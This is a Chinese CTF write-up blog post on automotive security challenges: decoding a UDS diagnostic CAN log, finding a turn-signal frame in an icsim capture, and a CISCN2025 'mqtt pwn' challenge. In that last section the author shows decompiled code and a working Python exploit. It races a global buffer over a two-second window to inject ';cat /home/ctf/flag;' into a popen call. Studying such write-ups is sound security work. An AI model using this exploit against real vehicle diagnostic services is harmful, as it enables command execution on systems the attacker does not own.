2024金砖国家职业技能大赛网络安全赛项
UDS
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 
 |  vcan0 703#0322F18000000000vcan0 7A3#106562F180633A64
 vcan0 703#3000000000000000
 vcan0 7A3#2161343332386634
 vcan0 7A3#2262306130633432
 vcan0 7A3#2339313739303133
 vcan0 7A3#2433366239313434
 vcan0 7A3#2537626366366630
 vcan0 7A3#2631666535633566
 vcan0 7A3#2734616631336530
 vcan0 7A3#2836643335363431
 vcan0 7A3#2965663334333965
 vcan0 7A3#2A31306666633666
 vcan0 7A3#2B35393264663662
 vcan0 7A3#2C63383264393464
 vcan0 7A3#2D39386439333431
 vcan0 7A3#2E36633537000000
 vcan0 703#0322F18700000000
 vcan0 7A3#100962F1876B3A4E
 vcan0 703#3000000000000000
 vcan0 7A3#216F6E6500000000
 vcan0 703#0210030000000000
 vcan0 7A3#065003003201F400
 vcan0 703#0227030000000000
 vcan0 7A3#0667030000000000
 vcan0 703#062704DEADBEEF00
 vcan0 7A3#0267040000000000
 vcan0 703#10242EF1876B3A36
 vcan0 7A3#30000F0000000000
 vcan0 703#2132363333323935
 vcan0 703#2238346332646361
 vcan0 703#2337626138323338
 vcan0 703#2438663637363964
 vcan0 703#2536356300000000
 vcan0 7A3#036EF18700000000
 vcan0 703#0322F18700000000
 vcan0 7A3#102462F1876B3A36
 
 | 
零解题目,根据《ISO14229》通过ID读数据中的ID指的是Data Identifier数据标识符,简称DID,DID长度为2个字节。诊断仪一次可以请求读取多个DID,ECU将相同个数的DID数据发给诊断仪。但是常用的方式是一次请求读取一个DID数据,UDS诊断详细看隔壁UDS文章。
DID有一部分已经规定好了,已经规定好的常用DID见下表:
| DID(0x) | Description | 说明 | 
| F180 | bootSoftwareIdentificationDataIdentifier | BOOT软件ID数据ID | 
| F181 | applicationSoftwareIdentificationDataIdentifier | 应用软件ID数据ID | 
| F182 | applicationDataIdentificationDataIdentifier | 应用数据ID数据ID | 
| F183 | bootSoftwareFingerprintDataIdentifier | BOOT软件指纹数据ID | 
| F184 | applicationSoftwareFingerprintDataIdentifier | 应用软件指纹数据ID | 
| F185 | applicationDataFingerprintDataIdentifier | 应用数据指纹数据ID | 
| F186 | ActiveDiagnosticSessionDataIdentifier | 当前诊断会话数据ID | 
| F187 | vehicleManufacturer SparePartNumberDataIdentifier | 主机厂车辆备件数据ID | 
| F188 | vehicleManufacturer ECUSoftwareNumberDataIdentifier | 主机厂车辆ECU软件编号数据ID | 
| F189 | vehicleManufacturer ECUSoftwareVersionNumberDataIdentifier | 主机厂车辆ECU软件版本编号数据ID | 
| F18A | systemSupplierIdentificationDataIdentifier | 系统供应商ID数据ID | 
| F18B | ECUManufacturingDateDataIdentifier | ECU制造日期数据ID | 
| F18C | ECUSerialNumberDataIdentifier | ECU序列号数据ID | 
| F190 | VINDataIdentifier | VIN数据ID | 
| F191 | vehicleManufacturer ECUHardwareNumberDataIdentifier | 主机厂ECU硬件编号数据ID | 
| F192 | systemSupplier ECUHardwareNumberDataIdentifier | 系统供应商ECU硬件编号数据ID | 
| F193 | systemSupplier ECUHardwareVersionNumberDataIdentifier | 系统供应商ECU硬件版本编号数据ID | 
| F194 | systemSupplier ECUSoftwareNumberDataIdentifier | 系统供应商ECU软件编号数据ID | 
| F195 | systemSupplier ECUSoftwareVersionNumberDataIdentifier | 系统供应商ECU软件版本编号数据ID | 
通过ID读数据通常不需要使用子功能,使用SID+DID即可发请求。
根据题目附件,通过ID读数据服务CAN报文:



AES-CBC  iv试出来是deadbeefdeadbeef


musc滚出CTF啊!!!
CISCN2025 FINAL
mqtt pwn
题目checksec,保护全开。简单看了一下没有malloc/free操作。看到有popen,应该是命令拼接  
题目代码量不大,但是交互方式还是比较新的,程序连接到本地的MQTT的服务器上收发报文。实际与靶机交互时,可用MQTTX连接到靶机端口。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | MQTTClient_create(&qword_5100, "tcp://localhost:9999", "vehicle_diag", 1LL, 0LL);MQTTClient_setCallbacks(qword_5100, 0LL, 0LL, sub_1C8C, 0LL);
 while ( (unsigned int)MQTTClient_connect(qword_5100, v8) )
 {
 puts("Trying to reconnect to MQTT...");
 sleep(2u);
 }
 MQTTClient_subscribe(qword_5100, "diag", 1LL);
 pthread_create(&newthread, 0LL, sub_1E1A, 0LL);
 puts("Init...");
 while ( 1 )
 sleep(1u);
 
 | 
漏洞点在此处
MQTTClient_setCallbacks(qword_5100, 0LL, 0LL, sub_1C8C, 0LL);
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 
 | __int64 __fastcall sub_1C8C(__int64 a1, __int64 a2, int a3, __int64 a4){
 __int64 v5;
 int v6;
 __int64 v7;
 __int64 v8;
 pthread_t newthread;
 __int64 v10;
 char *src;
 char *v12;
 char *v13;
 unsigned __int64 v14;
 
 v8 = a1;
 v7 = a2;
 v6 = a3;
 v5 = a4;
 v14 = __readfsqword(0x28u);
 printf("Receive: %s\n", *(const char **)(a4 + 16));
 v10 = cJSON_ParseWithLength(*(_QWORD *)(v5 + 16), *(int *)(v5 + 8));
 if ( v10 )
 {
 src = *(char **)(cJSON_GetObjectItem(v10, "auth") + 32);
 v12 = *(char **)(cJSON_GetObjectItem(v10, "cmd") + 32);
 v13 = *(char **)(cJSON_GetObjectItem(v10, "arg") + 32);
 strncpy(s1, src, 0x7FuLL);
 strncpy(byte_5260, v12, 0x3FuLL);
 strncpy(::src, v13, 0x7FuLL);
 pthread_create(&newthread, 0LL, start_routine, 0LL);
 pthread_detach(newthread);
 cJSON_Delete(v10);
 MQTTClient_freeMessage(&v5);
 MQTTClient_free(v7);
 }
 return 1LL;
 }
 
 | 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
 113
 114
 115
 116
 117
 118
 
 | void *__fastcall start_routine(void *a1){
 __int64 v2;
 const char *v3;
 __int64 v4;
 __int64 v5;
 unsigned int v6;
 FILE *v7;
 FILE *stream;
 __int64 v9;
 __int64 v10;
 __int64 v11;
 __int64 ptr;
 __int64 v13;
 __int64 v14;
 __int64 v15;
 __int64 v16;
 __int64 v17;
 __int64 v18;
 __int64 v19;
 char s[264];
 unsigned __int64 v21;
 
 v21 = __readfsqword(0x28u);
 if ( !(unsigned int)sub_160E() )
 {
 sub_1702("{\"status\":\"unauthorized\"}");
 puts("unauthorized");
 return 0LL;
 }
 if ( !strcmp(byte_5260, "get_version") )
 {
 v11 = sub_167C("/mnt/version", "get_version", v2);
 if ( v11 )
 v3 = (const char *)v11;
 else
 v3 = "error";
 }
 else if ( !strcmp(byte_5260, "get_location") )
 {
 v10 = sub_167C("/dev/location", "get_location", v4);
 if ( v10 )
 v3 = (const char *)v10;
 else
 v3 = "error";
 }
 else
 {
 if ( strcmp(byte_5260, "get_tpms") )
 {
 if ( !strcmp(byte_5260, "set_adb") )
 {
 v6 = atoi(src);
 if ( v6 < 2 )
 {
 snprintf(s, 0x80uLL, "echo -n %d>/mnt/adb_flag;cat /mnt/adb_flag", v6);
 stream = popen(s, "r");
 ptr = 0LL;
 v13 = 0LL;
 v14 = 0LL;
 v15 = 0LL;
 v16 = 0LL;
 v17 = 0LL;
 v18 = 0LL;
 v19 = 0LL;
 fread(&ptr, 1uLL, 0x3FuLL, stream);
 pclose(stream);
 sub_1702(&ptr);
 }
 else
 {
 sub_1702("invalid_flag");
 }
 }
 else if ( !strcmp(byte_5260, "set_vin") )
 {
 if ( (unsigned int)sub_158A(src) )
 {
 sleep(2u);
 snprintf(s, 0x100uLL, "echo -n %s>/mnt/VIN;cat /mnt/VIN", src);
 puts(s);
 v7 = popen(s, "r");
 ptr = 0x203A746572LL;
 v13 = 0LL;
 v14 = 0LL;
 v15 = 0LL;
 v16 = 0LL;
 v17 = 0LL;
 v18 = 0LL;
 v19 = 0LL;
 fread((char *)&ptr + 5, 1uLL, 0x3FuLL, v7);
 pclose(v7);
 puts((const char *)&ptr);
 sub_1702(&ptr);
 strncpy(dest, src, 0x3FuLL);
 sub_1509(dest, &unk_5080);
 }
 else
 {
 sub_1702("invalid_vin");
 puts("invalid_vin");
 }
 }
 else
 {
 sub_1702("unknown_command");
 }
 return 0LL;
 }
 v9 = sub_167C("/dev/tpms", "get_tpms", v5);
 if ( v9 )
 v3 = (const char *)v9;
 else
 v3 = "error";
 }
 sub_1702(v3);
 return 0LL;
 }
 
 | 
每次接收到报文后,用json解析。再新开一个线程调用start_routine函数,start_routine再根据接收到的参数进行不同的操作。
set_vin这里的popen是能够看出有命令拼接的。可是,
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | __int64 __fastcall sub_158A(const char *a1){
 int i;
 int v3;
 
 v3 = strlen(a1);
 if ( v3 > 63 || v3 <= 9 )
 return 0LL;
 for ( i = 0; i < v3; ++i )
 {
 if ( ((*__ctype_b_loc())[a1[i]] & 8) == 0 )
 return 0LL;
 }
 return 1LL;
 }
 
 | 
这个检查过滤了非数字字母
但问题在于,此处byte_5260是全局变量,也没有加锁保护,又有2秒的竞争窗口周期
所以,我们可以先发送一次合法的报文,再在2s内发送一次拼接注入的报文覆盖,达成命令拼接。
还有一个auth要过。不过这个auth就很简单了,MQTT会往外发VIN码,拿这个VIN码和sub_1509这个函数的逻辑算就是。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 
 | import paho.mqtt.client as mqttimport json
 import time
 
 VIN = "XDGV56EK1R8B3W42B"
 
 def getkey(s):
 v3 = 0
 for c in s:
 v3 = 31 * v3 + ord(c)
 return f"{v3:08x}"[-8:]
 
 key = getkey(VIN)
 
 a = {
 "auth": key,
 "cmd": "set_vin",
 "arg": VIN
 }
 
 b = {
 "auth": key,
 "cmd": "set_vin",
 "arg": ";cat /home/ctf/flag;"
 }
 
 def on_message(client, userdata, msg):
 print(msg.payload.decode())
 
 
 client = mqtt.Client()
 client.connect(ip, port, 60)
 client.subscribe("diag/resp")
 client.on_message = on_message
 client.loop_start()
 
 client.publish("diag", json.dumps(a))
 time.sleep(0.5)
 client.publish("diag", json.dumps(b))
 time.sleep(5)
 client.loop_stop()
 
 | 
easy_can
拿icsim模拟的CAN报文。找出第一次打右转向灯的报文;重复仿真可以参考如下
https://g1at.github.io/2023/02/05/2022PWNHUB%E5%86%AC%E5%AD%A3%E8%B5%9BWrite%20Up/#%E9%A3%9E%E9%A9%B0%E4%BA%BA%E7%94%9F
看一下icsim源码有这几个宏定义
| 12
 3
 
 | #define DEFAULT_SIGNAL_ID 392 #define CAN_LEFT_SIGNAL 1
 #define CAN_RIGHT_SIGNAL 2
 
 | 
还有这段代码
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | void update_signal_status(struct canfd_frame *cf, int maxdlen) {
 int len = (cf->len > maxdlen) ? maxdlen : cf->len;
 if(len < signal_pos) return;
 if(cf->data[signal_pos] & CAN_LEFT_SIGNAL) {
 turn_status[0] = ON;
 } else {
 turn_status[0] = OFF;
 }
 if(cf->data[signal_pos] & CAN_RIGHT_SIGNAL) {
 turn_status[1] = ON;
 } else {
 turn_status[1] = OFF;
 }
 update_turn_signals();
 SDL_RenderPresent(renderer);
 }
 
 | 
那也就是找can.id==392,第一次出现data中为\x02开头的报文。
最后得到flag{00000188040000000200000000000000}